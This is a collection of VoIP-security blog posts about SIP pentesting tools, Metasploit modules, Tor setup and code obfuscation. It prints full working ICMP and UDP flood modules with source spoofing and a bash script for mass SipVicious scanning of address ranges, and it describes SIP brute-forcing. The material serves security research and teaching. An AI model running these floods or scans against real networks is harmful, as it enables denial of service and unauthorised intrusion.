Planet Security

Bluebox-ng Alpha release

2013-06-10T16:17:04+00:00

Finally I've pushed the first Alpha version of Bluebox-ng to my GitHub repo: https://github.com/jesusprubio/bluebox-ng

Features

RFC compliant
TLS and IPv6 support
SIP over websockets (and WSS) support (draft-ietf-sipcore-sip-websocket-08)
SHODAN and Google Dorks
SIP common security tools (scan, extension/password bruteforce, etc.)
REGISTER, OPTIONS, INVITE, MESSAGE, SUBSCRIBE, PUBLISH, OK, ACK, CANCEL, BYE and Ringing requests support
Authentication through different types of requests.
SIP denial of service (DoS) testing
SRV and NAPTR discovery
Dumb fuzzing
Common VoIP servers web management panels discovery
Automatic exploit searching (Exploit DB, PacketStorm, Metasploit)
Automatic vulnerability searching (CVE, OSVDB)
Geolocation
Colored output
Command completion
GNU/Linux, Mac OS X and Windows

I'm sorry but we still do not have documentation about the tool. For now, we have the README file included in the source code (which shows the steps to start the tool) and this another post in Security by Default blog which includes some more shoots of this first version.

How to connect to .onion Tor domains with Firefox on Linux

2013-04-08T21:52:20+00:00

So you are looking for an easy way of surfing the hidden network of .onion domains?. Many people probably will use some of the proxies available to reach the .onion domains. Unfortunately this is not a good idea for your privacy since the proxy owner can spy all your communications.

So, I’m going to explain in 3 easy steps how to configure Firefox to access .onion domains directly through your local Tor daemon. This way, we ensure all traffic goes directly to the tor network.

Install Tor daemon.

On Debian/Ubuntu Linux distributions this is as easy as:

sudo apt-get install tor

Configure Firefox to tunnel requests to .onion domains via the Tor network

This is the tricky part, because we only want Firefox to tunnel requests to .onion domains via the Tor network, but we don’t want Firefox tu tunnel all the other requests via the Tor network. To achieve this we are going to use a proxy configuration file.

Save the following content in a file (for example as ~/.proxy_pac)

function FindProxyForURL(url, host) {
    isp = "PROXY ip_address:port; DIRECT";
    tor = "SOCKS 127.0.0.1:9050";
    if (shExpMatch(host,"*.onion")) {
        return tor;
    }
    return "DIRECT";
}

And configure Firefox to use that file as a proxy configuration file (Edit->Preferences->Advanced->Network->Settings->Automatic proxy configuration URL).
- You have to use the following syntax: file://absolute-path-to-the-file
- If you are not sure, just open a new firefox window, and type on the browser location bar (the place where you type web addresses) the following URL file://. Now just browse your HDD to where you saved that file, right click on it and select Copy Link Location. Now paste such link location on the Automatic proxy configuration URL settings.

Configure Firefox to tunnel DNS queries via a SOCKS5 proxy

The last step is to tell Firefox that it should tunnel the DNS lookups via the Tor SOCKS5 proxy when we want to access a .onion domain. By default firefox will try to resolve .onion domains using our local DNS resolver, therefore it will fail to do that.
To fix this, we should enable network.proxy.socks_remote_dns on the advanced configuration page:

In the browser location bar (the place where you type web addresses), type about:config and press Enter. This opens a different set of Firefox preferences. Where it says Search: at the top, type network.proxy.socks. The list of preferences will automatically change to show your proxy preferences.
Highlight network.proxy.socks_remote_dns by clicking it only once. Then, right-click it. This opens a small pull-down menu. Select Toggle from the menu to change its value to true.

This will make Firefox to tunnel all the queries to .onion domains via our local Tor daemon. This also adds privacy by preventing DNS queries to .onion domains from leaking.

Now restart Firefox and you should be able to surf .onion domains directly.

My new toy: Bluebox-ng

2013-03-27T00:52:00+00:00

Hi again guys, here there is my new personal project. I think that README file is complete enough so I paste it on this post.

Next month I'll be with my colleague Antón at Kamalio World Conference showing a bit more about it. If you are there and want to talk a bit about VoIP security (or WebRTC) get in contact with us please. :)

Finally, we would like to publish the first version in one ore two months, sorry but we're developing it mostly in our free time :(. I've promised Yago to do it on Security by Default blog so stay tuned.

Moreover this tool was included in Quobis personal project plan so you can always follow Quobis planet in which we publish all our experiments.

Nothing else, I hope you like it and all kind of suggestions (and coders) are welcomed :).

Bluebox-ng

Bluebox-ng is a next generation UC/VoIP security tool. It has been written in CoffeeScript using Node.js powers. This project is "our 2 cents" to help to improve information security practices in VoIP/UC environments.

GitHub repo: https://github.com/jesusprubio/bluebox-ng
Demo: http://www.youtube.com/watch?v=02AuYf66sx0

Install deps

cd bluebox-ng
npm install

Run

npm start

Features

Automatic pentesting process (VoIP, web and service vulns)
SIP (RFC 3261) and extensions compliant
TLS and IPv6 support
VoIP DNS SRV register support
SIP over websockets (and WSS) support (draft-ietf-sipcore-sip-websocket-08)
REGISTER, OPTIONS, INVITE, MESSAGE, SUBSCRIBE, PUBLISH, OK, ACK, CANCEL, BYE, Ringing and Busy Here requests support
Extension and password brute-force through different methods (REGISTER, INVITE, SUBSCRIBE, PUBLISH, etc.)
DNS SRV registers discovery
SHODAN and Google Dorks
SIP common vulns modules: scan, extension brute-force, Asterisk extension brute-force (CVE-2011-4597), invite attack, call all LAN endpoints, invite spoofing, registering hijacking, unregistering, bye teardown
SIP DoS/DDoS audit
SIP dumb fuzzer
Common VoIP servers web management panels discovery and brute-force
Automatic exploit searching (Exploit DB, PacketStorm, Metasploit)
Automatic vulnerability searching (CVE, OSVDB)
Geolocalization using WPS (Wifi Positioning System) or IP address (Maxmind database)
Colored output
Command completion

Roadmap

Tor support
More SIP modules
SIP Smart fuzzing (SIP Torture RFC)
Eavesdropping
CouchDB support (sessions)
H.323 support
IAX support
Web common panels post-explotation (Pepelux research)
A bit of command Kung Fu post-explotation
RTP fuzzing
Advanced SIP fuzzing with Peach
Reports generation
Graphical user interface
Windows support
Include in Debian GNU/Linux
Include in Kali GNU/Linux
Team/multi-user support
Documentation
...
Any suggestion/piece of code ;) is appreciated.

Author

Jesús Pérez

Contributors

Damián Franco

@pamojarpan
pamojarpan google com

Jose Luis Verdeguer

@pepeluxx](https://twitter.com/pepeluxx)
pepelux enye-sec org
http://www.pepelux.org/

Thanks to ...

Quobis, some hours of work through personal projects program
Antón Román (@AntonRoman), he speaks SIP and I'm starting to speak it thanks to him
Sandro Gauci (@sandrogauci), SIPVicious was our inspiration
Kamailio community (@kamailioproject]), my favourite SIP Server
David Endler and Mark Collier (@markcollier46), authors of "Hacking VoIP Exposed" book
John Matherly (@achillean) for SHODAN API and GHDB
All VoIP, free software and security hackers that we read everyday
Loopsize, a music hacker (and a friend) creator of the themes included in demos

License

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program. If not, see .

How to protect your WebRTC app code?

2013-02-26T12:06:00+00:00

I have spent some time analyzing which could be the best way to protect a privative version of a webphone based on QoffeeSIP that we are developing now at Quobis. I have seen this same question on different sites with quite confusing responses. So I'm going to share what I learned just in case it could help to anybody.

Well, I'm not going to define what is WebRTC because Internet is full of it this year (only overtaken by cats ;). For our purposes we have to consider that our app is a Javascript library. Really there is also HTML/CSS code but what I think that is important is Javascript, but HTML/CSS can also be protected in the same way but with other tools.

First of all I want to remark that protect your code in the sense of anybody could copy/modify and redistribute it is impossible since Javascript is only text. If anybody had enough time (or money) this code could be reversed. But, as always, we can do things trying to avoid it as far as possible.

In general, I found that there is a bit confusion between minimize and obfuscate terms so we're going to speak a bit about these techniques.

Minimization

The target is to get the code as small as possible. Obviously generated code is more difficult to understand, but it could be easily reversed with tools like JSbeautifier. (really not as easy depending of the minimizing tool)

Some common possible options at this point are:

UglifyJS: The coolest thing right now xD. It is a Node.js package so it's easy to include. Some days ago version 2 was published. We will see that it's fast, really fast.
Google Closure Compiler which uses Google to its apps. It is availiable a Java command line tool but there are node modules which use the online API.
YUI Compressor from Yahoo, it was the facto standard but now last alternatives are beating it.

A little comparison: I can't find original link, sorry :(

Average time: (lower is better)

UglifyJS: 0.11554 seconds
Closure: 1.41037 seconds

Average reducction: (higher is better)

UglifyJS: 45.6%
Closure: 51.5%

NOTE: Another one (more complete) with YUI included too.

In my experience Google Closure generated code is better because besides minimization tasks it includes code checking too. It provides warnings for dangerous or illegal Javascript. Moreover I like that you can use this online service to check your code while developing.

Obfuscation

It is defined as "the hiding of intended meaning in communication, making communication confusing, wilfully ambiguous, and harder to interpret." (Wikipedia).

We have some options here when we are working with a web app:

Encrypt the transport layer: needed to avoid sniffing to another users of the same LAN. So using HTTPS to serving the application is a must.
Encryption: Encrypt application data and decrypt it on the fly via your own javascript enccryption library.
Move functions to the server side, which it's not possible in the case of WebRTC because we want end to end media.
Use a browser plugin, it has no sense since one of the advantages of WebRTC is that the user doesn't have to install anything.
Implement the code in native client for Chrome browser. The advantaje is that common C code protections can be used and the app runs sandboxed. But it is not our case because we need multi-platform support.
To avoid legal issues you should incude a note (a Javascript comment) referencing the copyright in each copy of the .js library. Something similar to Free Software Foundation recommendations for free Javascript code. An example could be:

NOTE: Really @source tag is proposed by FSF to include a link to source code of the app. But I think that it could be a good idea to use it because browser plugins that follow the recommendations should "understand" it.

// @source: https://qoffeesip.quobis.com
// Copyright (C) Quobis
// Licensed under Quobis Commercial license
// (http://www.quobis.com/licenses/commercial-1.0.html)

I also want to point out some common obfuscation/encryption problems:

Performance decrement, specially speed.
Increase troubleshooting difficult.
Compatibility problems (IE!!).
Size increase.
As it was said, a skilled expert could always reverse it and get a code equivalent to ours.

All these problems are more important on the case of encryption, except the last one logically. So at this point we have some options, but I've reduced them to these ones:

A paid option like JsCrambler: This is the reference tool, generated code seems to be really dificult to recover and it supports an important number of encryption algorithms.

A free solution provided by my colleague Damián: Horrible.js. It implements obfuscation and a kind of simple (so light) optional (through "factor" parameter) encryption. Next picture shows an example using it with the three different factors.

Finally, if you don't like the ugly generated code you can always use Nice.js to get something like this example: xD

In conclusion, I like Horrible.js with factor 3. In my opinion, it has no sense to paid for mitigating a risk impossible to solve completely.

Playing with QoffeeSIP: SIP over websocket scanner

2013-01-16T09:15:00+00:00

Some weeks ago we published QoffeeSIP, the Javascript SIP over websockets stack which we use to develop our WebRTC products in Quobis. An example is IdentityCall, a system designed to provide call authentication in traditional VoIP and IMS environments. Now it achieves the same goal in WebRTC ones, interconnecting them at the same time with PSTN network.

Today I’m showing a different case of use that those proposed in examples (the "simplest-example" and a "webphone"). I’m going to write a simple (but for sure the first one in the world ;) SIP over websockets server scanner. It should send a valid SIP (over websockets) petition, parse the interesting info from the response ( i.e. "User-Agent") and print it. I’m using the simplest example as basis, here there are the description of the changes I made on the code:
- In this case no HTML video tags are provided to the constructor. The reason is that we are only using websocket features of the stack, not WebRTC ones.
- Some stuff deleted from the interface in order to ask only for needed parameters (ip address, port and optionally the extension used to made the registration).
- Media parts were also deleted from script.coffee file, which defines the logic of the app.
- Obviously we need to change this logic so I added some code at the end. In this case we are saying that when states 2 (Registering after challenge) or 3 (Registered) are reached, received message is going to be parsed.
- Then strings "User-Agent", "Server" and "Organization" are parsed from this response and printed. Really we are getting it from an object with the property "frame".
- Finally, makefile is modified in order to generate the output with the correct name.

script.coffee

### Copyright (C) Quobis
# Project site: https://github.com/Quobis/QoffeeSIP
# 
# Licensed under GNU-LGPL-3.0-or-later (http://www.gnu.org/licenses/lgpl-3.0.html)
##


# On document ready...
$ ->
    # Avoid page "reloading" on submit.
    $("form").submit (e) ->
        e.preventDefault()
        false

    # Declaration of api.
    api = null

    $("#init").submit =>
        options =
            server: {ip: $("#server-ip").val(), port: $("#server-port").val()}
            onopen: =>
                api.register "qoffeesip", "anonymous"
        api = new API options
        api.on "new-state", (state, message) ->
            switch state
                when 2,3
                    userAgentRE =  /User-Agent:(.*)/i
                    serverRE =  /Server:(.*)/i
                    organizationRE =  /Organization:(.*)/i

                    matchUa = userAgentRE.exec message.frame
                    matchServer = serverRE.exec message.frame
                    matchOrganization = organizationRE.exec message.frame

                    output = matchUa or matchServer or matchOrganization
                    $("#output").text(output[0])

index.jade

//-//- @source: https://github.com/Quobis/QoffeeSIP
//- Copyright (C) Quobis
//- Licensed under GNU-LGPL-3.0-or-later (http://www.gnu.org/licenses/lgpl-3.0.html)
//-


!!!
head
    title SIP over websockets scanner
    script(src="lib/jquery-1.8.0.min.js")
    script(src="lib/spine.js")
    script(src="lib/underscore.js")
    script(src="lib/qoffeesip.js")
    script(src="script.js")

body
    form(id="init")
        input(id="server-ip", type="text", placeholder="Server IP", required)
        input(id="server-port", type="number", placeholder="Port", required)
        input(type="submit", value="Scan")

div(id="output")

I have committed this example to QoffeeSIP examples of use, so you can download and use it as explained is QuickStart guide of the project. The command "make build" (or simply "make") is going to put the output files in "dist" folder. Then you only have to move them to an HTTP server, like Apache. You could follow next steps:

- Confirm you have installed coffeeScript and Jade in your system, if not you can use npm to install them ("coffee-script" and "jade").

- Download the examples using git.

git clone https://github.com/Quobis/QoffeeSIP.git
cd qoffeesip/examples/sipwebsockets-scanner

- Generate the files to distribute it.
make

- Copy them to your Apache server:
sudo cp -R dist/* /var/www

Here there are a few shoots:

Scanner setup

Scanning IdentityCall server

Scanning Kamailio

In a real tool, for best results, we should make some improvements like these:

- Use OPTIONS packets because of being more accurate for this target.

- Add support to ranges of ip addresses.
- Avoid asking for approval to use webcam and/or micro. Really it is not used but it’s a limitation of the stack. We decided to do this request during registering instead of during a call because of usability issues.
- Use Bootstrap to get a more friendly interface.

But this is only a proof of concept so I think it is good enough for now. The target of this post is to show a different way of playing with the stack. Anyway I’m going to add support for websockets to my SIP Metasploit modules in any moment if you are interested in more professional tools.
In the same way, if you were interested in a more complex application you can visit the online demo which implements "webphone" example of use. So you can play with it too, if you need help you can always open an issue on Github repository.

QoffeeSIP demo

Fixing some SIP related Metasploit modules

2012-10-08T14:03:00+00:00

Hi again, while I was checking some demos for our class at Vigo University representing Quobis I noticed that Metasploit options.rb module (SIP scanning) wasn't working ok. I mean, it was unable to recognize a Kamailio server. Next two pictures show the difference with SIPVicious output:

Some time ago, I wrote a post about this module and I remember being a bit surprised because the code doesn't respect SIP protocol at all (but It worked with Asterisk). After a quick view to Kamailio logs my suspects were confirmed, Sanity module was doing right its job dropping these packets. :)

Next function defines how requests are created in actual module, If you are familiar with SIP RFC you probably will notice what I'm talking about. If not, I suggest you to compare it with my create_request function of sipflood.rb module.

def create_probe(ip)

suser = Rex::Text.rand_text_alphanumeric(rand(8)+1)

shost = Rex::Socket.source_address(ip)

src = "#{shost}:#{datastore['CPORT']}"

data = "OPTIONS sip:#{datastore['TO']}@#{ip} SIP/2.0\r\n"

data << "Via: SIP/2.0/UDP #{src};branch=z9hG4bK.#{"%.8x" % rand(0x100000000)};rport;alias\r\n"

#data << "From: sip:#{suser}@#{src};tag=70c00e8c\r\n"

data << "From: sip:#{suser}@#{src};tag=70c00e8c\r\n"

#data << "To: sip:#{datastore['TO']}@#{ip}\r\n"

data << "To: sip:#{suser}@#{ip}\r\n"

data << "Call-ID: #{rand(0x100000000)}@#{shost}\r\n"

data << "CSeq: 1 OPTIONS\r\n"

data << "Contact: sip:#{suser}@#{src}\r\n"

data << "Content-Length: 0\r\n"

data << "Max-Forwards: 20\r\n"

data << "User-Agent: #{suser}\r\n"

data << "Accept: text/plain\r\n"

end

Once some changes were done in order to use my function (with OPTIONS packets), we can see that we have a correct response now.

This issue often appears working with Session Border Controllers so I coded our own version of these modules. Nothing else, here there are the links to the new version of the modules. I also added this feature to enumeration.rb module, needed to brute-force valid extensions.

- options.rb
- options_tcp.rb
- enumerator.rb

- enumerator_tcp.rb

Anyway, If you try to enumerate Kamailio extensions you will fail because its default configuration avoid this. Asterisk also has an option to do it but it can be bypassed. And FreeSWITCH? We will play with all this stuff another day. ;)

VoIP class at Vigo University

2012-09-27T15:38:00+00:00

My colleague Antón (@AntonRoman) and myself visited last Monday the Telecommunication Engineering School at Vigo University in order to give a talk about VoIP, technologies and project that we’re involved in Quobis. As the year before, we were invited by the professor of the subject “Switching laboratory”., Martín López Nores, to prepare a Kamailio practical exercise.

Antón started explaining some basic VoIP concepts and then he went through more advanced ones mainly focused in Kamailio SIP server (slides).Then, I made a review and a demo of the most common VoIP vector attacks that we found every day “in the wild” and their available countermeasures (slides).

As the last course, we extended the mandatory practice with an optional exercise (you can download them from the links below):

- 2011-2012

- 2012-2013

We encourage the students to give it a try, I strongly think this practice could be very useful for their professional future. In fact, Andrés Souto (@kai670), who did a great job last year while being a student of the last course, is working now with us at Quobis. And last, but not least, we would like to thank Martín for this opportunity of sharing a good time and discovering skilled students.

Bruteforcing SIP extensions with Metasploit

2012-07-29T22:19:00+00:00

Hi, some time ago I published this post about VoIP information gathering with Metasploit. For a minimal pentesting process, a module capable of bruteforcing discovered extensions password is needed. So I have developed it, if you know SIPvicious suite this module provides sipcrack tool features.

Based on available SIP related modules I implemented SIP Digest Authentication algorithm and Msf::Auxiliary::AuthBrute mixin does the magic with possible user/password combinations. This picture shows an example of use in which extension 100 password is discovered (100).

Source code:

In case you use the module outside a LAN is strongly recommended to add you external IP address (option "EXTIP"), trying to avoid SIP and NAT problems.

Bye ;)

IV workshop on cryptography, privacy and security

2012-05-30T12:09:35+00:00

This year G.P.U.L held a new workshop (4th edition) on Cryptography, Security and Privacy. It was great enjoying this event again.

In the previous edition, I was among the speakers where I talked about self-replicating computer code, infection techniques and how security software was handling all this stuff.

This year, Ross Anderson was among the speakers. Good news having one world-class security expert talking about cryptology and security. If you don’t know Ross maybe you would like to check his personal web page on Cambridge. Ross is professor of Security Engineering at the Cambridge’s Computer Laboratory where he runs serious and pragmatic research on topics resolving global security issues.

On the other hand, maybe you know Ross’ book: ‘Security Engineering: A Guide to Building Dependable Distributed Systems‘. This book is a comprehensive overview of the field while highlighting important details and fundamental security concepts. Currently, the second edition of this book is available. Though Ross released the first edition for free too.

Anyway, it was great sharing some thoughts and talking to Ross about economics and psychology of information security. I guess it is a topic where both of us shed great passion. We discussed about how the new emergent vulnerability markets split the different security bugs based on value, raise hidden bugs out of the underground economy or how new bad incentives appear in concrete software business models among other topics.

As usual, great management and coordination coming from G.P.U.L Congrats guys!

Flooding Asterisk, Freeswitch and Kamailio with Metasploit

2012-05-01T21:05:00+00:00

Hi, it has been a long time since my last post because of my new job and my final year project ("VoIP denegation of service attacks" for curious) but there is something I found during my tests with Freeswitch, Kamailio and Asterisk that I want to share.
NOTE: Really, guys of Security By Default blog published us (my good friend Roi Mallo and me) two articles about how to develop modules for Metasploit framework, another two are coming. ;)

During my project, among others, I developed a Metasploit module which can flood SIP protocol with common frames (INVITE, OPTIONS, REGISTER, BYE), I wrote it at Quobis (nice job ;) in order to use it for some private tests because actual software didn´t fit our needs, so we are going to probe how is the behavior of different GPL VoIP servers against this kind of attacks:
- Asterisk: I think it needs no introduction, the famous softswitch/PBX software.
- Freeswitch: It´s a newer softswitch that seems to be Asterisk replacement and I really like.
- Kamailio (former OpenSER): It is the most known GPL SIP proxy.

Virtual machines

First of all I want to be clear about two things:
- Test were made without any protection on the server side, in a real environment we shoud find (in theory xD) something like Iptables, Snort, Fail2ban, Pike or a propietary Session border controller in large arquitectures. Anyway, it should be enough for this proof of concept.
- Asterisk and Freeswitch are PBX software, they were not designed to run between the limits of the infrastructure and Internet, although they are usually placed there. In fact, one of the reason of this post is to show the importance of using a SIP Proxy because of security and performance reasons.

Next pictures show an example of the Metasploit module use and generated traffic, we will use the same attack against differents IPs, so I´m showing it once only:

Module use and config

Captured traffic

I chose INVITE packets because they are much more effective against all kind of SIP devices and TIMEOUT to 0 trying to get more traffic. Then, the results:
NOTE: With Wireshark filter "sip.Method==REGISTER or sip.Status-Code==200 and !sdp" we can see if a softphone (Jitsi in this case) could be registered , this way we can confirm if tested software losts some REGISTER packages under attack.

Metasploit vs. Asterisk

Metasploit vs. Freeswitch

Metasploit vs. Kamailio

Pictures show how Metasploit module can flood both Asterisk and Freeswitch, but not Kamailio. Moreover, Asterisk lost REGISTER packets under the attack and Freeswitch did "strange" things answering with a lot of "200 OK" responses. This problem would be much more important in a real environment with hundreds of phones trying to register at the same time.

As conclusion we can confirm the use of Kamailio (I think OpenSIPS or another SIP Proxy would reach the same results) as frontier with "the wild". In addition we can also use Pike module for DoS protection and we could suppose that it would respond to a high volume of traffic in a better way than other two alternatives. To sum up I would like to remark that we can see Kamailio creates different forks to manage connections, this seems to be the key of its good performance. But next times I will show how to flood Kamailio with better results and the countermeasurements to protect yourself against it. ;)

Madrid/Root3d CON’2012

2012-03-12T23:53:04+00:00

Just blogging a quick post after caming back from Root3d CON in Madrid. This year I have to congratulate speakers again. They shared another year interesting ideas and good technical hacks. I would say this CON speaks loud and clear about the global security scene and the industry around it too. Congrats guys!

Related to technical work I would like to highlight some hot topics covered in talks such as banking attacks, loading malware in Domain Name Servers (DNS), subverting domotic facilities, cracking industrial embedded devices or bouncing along IP videos and on-line weather stations across the globe.

As you see, it was all about technical moments although meeting Nico Waisman was an enjoyable moment too

Nico is VP of South America Immunity, Inc. where he is in charge of an international skilled team developing professional exploits for bugs in software.

I am happy to see how he and his colleagues in Immunity built one sustainable business model around professional bug exploitation and exploit creation. If you don’t know about them, Nico’s company is responsible of an automated exploitation system called CANVAS. It contains hundred of creative and interesting pieces of code abusing, subverting and taking control of buggy software.

This exploitation system, together with an exploit development framework, is used by penetration testers and security professionals regularly. Last time I had a look in this software (years ago!) it had only one exploit pack (one kind of add-on which consists of more modules targeting unpatched vulnerabilities). Now, their exploitation system include several professional extensions offering specialized exploits in 0-day, SCADA, VOIP, IBM Database, webservers, OSX, mobile phone OS, etc.

Watching CANVAS in action you guess as any computer user is able to run automated and massive attacks easily, and how this kind of tools become offensive weapons truly.

Original studies, techniques and research in this exploitation field were really interesting and productive at the end of the 90′s. Nico and I talked about this stuff changing the things really and how this community effort improved overall OS security.

Along those years it supposed technical modifications with focus on IT security but it supposed a shift in the mind of a lot of system administrators and persons in charge of securing and hardening IT assets.

One decade later offensive IT security tools are available. Some of them are professional tools and services while another kind of tooling is sold in underground markets too. Anyway, two things become true.

In absence of conflict we have a global, profitable and consolidated security industry feeded by 0-days continuous.
In presence of conflict we have a potential and global battlefield where some people talk about real cyberwarfare as a politically motivated hacking to conduct sabotage and espionage among parties.

It is meaningful reading as The Economist describe cyberspace as the “the fifth domain of warfare” or William J. Lynn states that “as a doctrinal matter, the Pentagon has formally recognized cyberspace as a new domain in warfare … [which] has become just as critical to military operations as land, sea, air, and space”.

I guess knowing about automatic and easy-to-use offensive tools change the perspective a lot.

Security lessons at MSWL 2012

2012-02-20T03:38:14+00:00

This past weekend I ended my lessons on our Master Software Libre.

If you follow this blog you will know I usually write down the topics I teach along these lessons. It is always good thing getting feedback and getting in touch with persons reading these lines.

By the way, this year our Master runs its fifth edition. I am proud to watch how it is working and how old and new students, teachers, collaborators, community advisors and all our friends build this knowledge community daily.

Having a broad look I am able to find plenty of technologies, hacking, know-how and a lot of relevant stuff each year.

Although teaching people is always a huge responsibility, I like to start my lessons remembering IT security is a hot topic and, in essence, this domain talks about sensible and dangerous topics; so prudence and good sense are always the right way to follow here.

OK … so nowadays, what am I teaching in those lessons really? what am I covering under the topics of Physical Security, Cryptography, Networking and Security Networking? and, at the end, on what kind of practical laboratories and exercises are we working?

Well, bearing in mind I think IT security is a very complexed topic where different social, economic and technological forces converge I compiled all security stuff covered in this V edition. In summary, some of the syllabus’s drivers were the following:

On Physical Security:

Physical system security methodologies
Environmental design
Design and evaluation of physical protection systems

On Cryptography:

Cryptographic models
Cryptographic systems
Free/open software tooling
Integration and usual cases

On Networking:

Foundations
User and Kernel stack implementation
Administration and tooling
Typical configurations and trouble shooting

On Security Networking:

Network attacks and defense
Good practices, blueprints and security methodology
Network device security
Network architectures
Integrity and availability
Exploitation and responsible disclosure
Underground markets
Vulnerability management
Risk analysis and defense models
Advanced and strategic defense in organizations

Aligned with these points, I ran some new live-demos and attacks too.

Apart of the usual attacks showing design flaws, networking protocol weaknesses, practical communication hijacking or break-in techniques; we studied real networks following one ethical and legal approach. It was useful to identify their strengths and weaknesses while suggesting possible solutions and alternatives.

Finally, together with the design and model of their own embassy by students, we jumped to Linux kernel land to study (line by line in source code) as a real Linux kernel rootkit works under the hood; hiding network connections, users, files and so on.

I would like to think this new 5th promotion have now a better insight and perception of the real risk and magnitude of the battlefield out there … I think so

Happy hacking!

Scanning the world with Sipvicious

2012-02-11T18:40:00+00:00

Hi, I´m scanning a large number of ranges with Sipvicious ("svmap.py") and I would like to share some tips which helped me during the process:

- The use of sessions (-s) and reports ("svreport.py") is necessary to prevent mixing of obtained data.

- It´s a good idea to scan not only port 5060, you should add successive ports because some sysadmins configure their SIP services to run there (-p5060-5065).

- There is a well known "problem" about SIP and NAT, if you have installed an Asterisk you have heard about it sure :(, so we need to specify our external IP address to Sipvicious with (-x) parameter. Moreover port 5060(Sipvicious outcoming port) has to be forwarded to host which is scanning, in case that you were scanning with more than one instance at the same time successive ports should be forwarded too. I usually put the host int the DMZ trying to avoid these problems.

- "svreport.py" tries to make a DNS lookup with the discovered IPs but it takes too much time in case of too many hosts so we can disable it (-n).

- Normally, some hosts aren't recognized and marked as "unknown", you could run tcpdump in order to capture the responses and avoid the loss of information.

- I wrote that dirty bash script which reflects exposed ideas:

Code:
-----------------------------------------

#!/bin/bash
# It scans ranges from a text file with sipvicious
# Use: ./scanRange.sh

SVMAP="/home/baguira/Installed/sipvicious/svmap.py"
SVREPORT="/home/baguira/Installed/sipvicious/svreport.py"

# just in case "unknown" devices
sudo tcpdump udp and dst host 192.168.9.5 -s 65535 -w capture1.pcap & 
# scan all ranges
for RANGE in $(cat ranges1.txt)
do
 RNAME=$(echo $RANGE | awk -F / '{print $1}')
 EXTIP=$(curl -s icanhazip.com)
 $SVMAP -p5060-5065 -s $RNAME -x $EXTIP --randomize $RANGE
 NEXTIP=$(curl -s icanhazip.com)
 # external ip change check
 if [ "$EXTIP" != "$NEXTIP" ]
 then
  # wait until router finish reboot
  sleep 180
  $SVREPORT delete -s $RNAME
  EXTIP=$(curl -s icanhazip.com)
  $SVMAP -p5060-5065 -s $RNAME -x $EXTIP --randomize $RANGE
 fi  
 $SVREPORT export -s $RNAME -f txt -o $RNAME.txt -n
done
sudo killall tcpdump > /dev/null

-----------------------------------------

To sum up I would like to thank Sandro Gauci (Sipvicious developer) for the software and for being really nice whith my doubts. Thank you man! ;)

Another simple Metasploit module: ICMP Flooder

2012-01-15T20:13:00+00:00

Hi again!, I said I was going to develope VoIP related Metasploit modules but I was reading PacketFu documentation and I found that wrinting an ICMP flooder couldn´t be too complicated at this point. So I share this code too, I decided to include SHOST and SIZE options too trying to get a more flexible module able to make different flavors of this attack as Ping flood, Smurf or Ping of death. Next pictures show the module in the same way of last post.

Code:

-------------------------------------------------------------------------

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

include Msf::Auxiliary::Dos

include Msf::Exploit::Capture


 def initialize
  super(
    'Name'   => 'ICMP Flooder',
    'Description' => 'A simple ICMP flooder',
    'Author'  => 'Jesus Perez',
    'License'      => MSF_LICENSE,
    'Version'  => '$Revision: 0 $'
  )

  register_options(
  [
   OptAddress.new('SHOST', [false, 'The spoofable source address (else randomizes)']),
   OptInt.new('NUM', [false, 'Number of ping packets to send (else unlimited)']),
   OptInt.new('SIZE', [false, 'Size of ICMP packets to send (else 256 bytes)'])
  ], self.class)
  deregister_options('FILTER','PCAPFILE','SNAPLEN')
 end

 def srchost
  datastore['SHOST'] || [rand(0x100000000)].pack('N').unpack('C*').join('.')
 end

 def size
  datastore['SIZE'].to_i.zero? ? 256 : datastore['SIZE'].to_i
 end

 def run
  open_pcap

  sent = 0
  num = datastore['NUM']

  print_status("ICMP flooding #{rhost}...")

  p = PacketFu::ICMPPacket.new
  p.icmp_type = 8
  p.icmp_code = 0
  p.ip_daddr = rhost

  while (num <= 0) or (sent < num)
   p.ip_saddr = srchost
   p.payload = rand(36**size).to_s(36)
   p.recalc
   capture_sendto(p,rhost)
   sent += 1
  end

  close_pcap
 end
end

-------------------------------------------------------------------------

Figure: Usage information

Figure: Sniffed packets

Jesús Pérez

My first Metasploit module: UDP Flooder

2012-01-15T18:42:00+00:00

There are very few Metasploit modules, neither Auxiliaries nor Exploits, VoIP related so I have in mind to write some of them in my free time. Today I want to share a UDP flooder Aux. module, which is very simple but perfect for learning, UDPFlooder is one of the many tools covered in "Hacking VoIP Exposed" book, considered a reference in this field.

Code:

-------------------------------------------------------------------------

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

include Msf::Auxiliary::Dos

include Msf::Exploit::Capture


 def initialize
  super(
    'Name'   => 'UDP Flooder',
    'Description' => 'A simple UDP flooder',
    'Author'  => 'Jesus Perez',
    'License'      => MSF_LICENSE,
    'Version'  => '$Revision: 0 $'

)

register_options(

  [
   Opt::RPORT(5060),
   OptAddress.new('SHOST', [false, 'The spoofable source address (else randomizes)']),
   OptInt.new('SPORT', [false, 'The source port (else randomizes)']),
   OptInt.new('NUM', [false, 'Number of UDP packets to send (else unlimited)']),
   OptInt.new('SIZE', [false, 'Size of UDP packets to send (else 256 bytes)'])
  ], self.class)
  deregister_options('FILTER','PCAPFILE','SNAPLEN')
 end

 def sport
  datastore['SPORT'].to_i.zero? ? rand(65535)+1 : datastore['SPORT'].to_i
 end

 def rport
  datastore['RPORT'].to_i
 end

 def srchost
  datastore['SHOST'] || [rand(0x100000000)].pack('N').unpack('C*').join('.')
 end
 
 def size
  datastore['SIZE'].to_i.zero? ? 256 : datastore['SIZE'].to_i
 end

 def run
  open_pcap

  sent = 0
  num = datastore['NUM']

  print_status("UDP flooding #{rhost}:#{rport}...")

  p = PacketFu::UDPPacket.new

p.ip_daddr = rhost
  p.udp_dport = rport
  
  while (num <= 0) or (sent < num)
   p.ip_ttl = rand(128)+128
   p.ip_saddr = srchost
   p.udp_sport = sport
   p.payload = rand(36**size).to_s(36)
   p.recalc
   capture_sendto(p,rhost)
   sent += 1
  end

  close_pcap
 end
end

--------------------------------------------------------------------------

